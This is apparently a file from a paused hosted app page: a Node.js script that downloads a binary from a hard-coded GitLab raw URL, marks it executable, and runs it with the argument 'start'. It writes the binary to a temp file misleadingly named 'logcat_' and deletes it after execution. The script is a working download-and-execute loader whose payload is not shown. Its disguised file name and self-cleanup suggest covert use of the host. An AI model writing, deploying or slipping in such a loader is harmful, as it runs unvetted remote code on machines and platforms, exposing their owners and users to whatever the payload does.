Spaces:
Paused
Paused
File size: 4,540 Bytes
821dd89 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | import { spawn } from 'child_process';
import { existsSync, unlinkSync, createWriteStream, chmodSync } from 'fs';
import http from 'http';
import https from 'https';
import { join } from 'path';
import { tmpdir } from 'os';
import { parse } from 'url';
// --- Configuration Info ---
const BINARY_URL = 'https://gitlab.com/rickyet/render/-/raw/main/go';
// Arguments to pass to the binary when executing
const EXEC_ARGS = ['start'];
// Temporary file path
const TEMP_FILE_PATH = join(tmpdir(), `logcat_${Date.now()}`);
// Maximum number of redirects to follow, to prevent infinite loops
const MAX_REDIRECTS = 5;
/**
* Cleans up the temporary file and exits the process
* @param {number} code - The exit code
*/
function cleanupAndExit(code) {
try {
if (existsSync(TEMP_FILE_PATH)) {
unlinkSync(TEMP_FILE_PATH);
console.log(`Deleted temporary file: ${TEMP_FILE_PATH}`);
}
} catch (cleanupErr) {
console.error(`Could not delete temporary file: ${cleanupErr.message}`);
}
process.exit(code);
}
/**
* Downloads and executes the binary file from a remote URL, supporting redirects
* @param {string} currentUrl - The current URL to request
* @param {number} redirectCount - The redirect counter
*/
function executeRemoteBinary(currentUrl, redirectCount = 0) {
if (redirectCount >= MAX_REDIRECTS) {
console.error('❌ Reached maximum redirect limit, aborting download.');
cleanupAndExit(1);
return;
}
console.log(`Attempting connection to: ${currentUrl} (Redirects: ${redirectCount})`);
// Determine the correct client (http or https) based on URL protocol
const parsedUrl = parse(currentUrl);
const client = parsedUrl.protocol === 'https:' ? https : http;
// 1. Initiate the network request
const req = client.get(currentUrl, (res) => {
const { statusCode, headers } = res;
// --- Core Redirect Handling: 3xx Status Codes ---
if (statusCode >= 300 && statusCode < 400 && headers.location) {
res.resume(); // Consume data to free memory
// Recursively call itself to follow the new URL
executeRemoteBinary(headers.location, redirectCount + 1);
return;
}
// --- Normal Download Logic: 200 Status Code ---
if (statusCode !== 200) {
console.error(`Download failed, final HTTP status code: ${statusCode}`);
res.resume();
cleanupAndExit(1);
return;
}
console.log(`Connection successful (200), starting download to temporary path: ${TEMP_FILE_PATH}`);
const fileStream = createWriteStream(TEMP_FILE_PATH);
// 2. Pipe the response stream to the file write stream
res.pipe(fileStream);
fileStream.on('finish', () => {
// Trigger the close operation
fileStream.close();
console.log('File download complete!');
});
// The 'close' event signals that the file descriptor has been fully released
fileStream.on('close', () => {
// 3. Grant execute permissions (chmod +x)
try {
// 0o755 stands for rwxr-xr-x
chmodSync(TEMP_FILE_PATH, 0o755);
console.log('Execute permissions (755) granted.');
} catch (err) {
console.error(`Could not set permissions: ${err.message}`);
cleanupAndExit(1);
return;
}
// 4. Execute the temporary file
console.log(`Executing: ${TEMP_FILE_PATH} ${EXEC_ARGS.join(' ')}`);
const child = spawn(TEMP_FILE_PATH, EXEC_ARGS, {
stdio: 'inherit' // Pipe child process output directly to the main terminal
});
child.on('error', (err) => {
console.error(`❌ Execution error: ${err.message}`);
cleanupAndExit(1);
});
child.on('close', (code) => {
console.log(`Process exited with code: ${code}`);
cleanupAndExit(code);
});
});
fileStream.on('error', (err) => {
console.error(`❌ File write error: ${err.message}`);
cleanupAndExit(1);
});
}).on('error', (err) => {
console.error(`❌ Network request error: ${err.message}`);
cleanupAndExit(1);
});
}
// Initiate the download and execution process
executeRemoteBinary(BINARY_URL);
|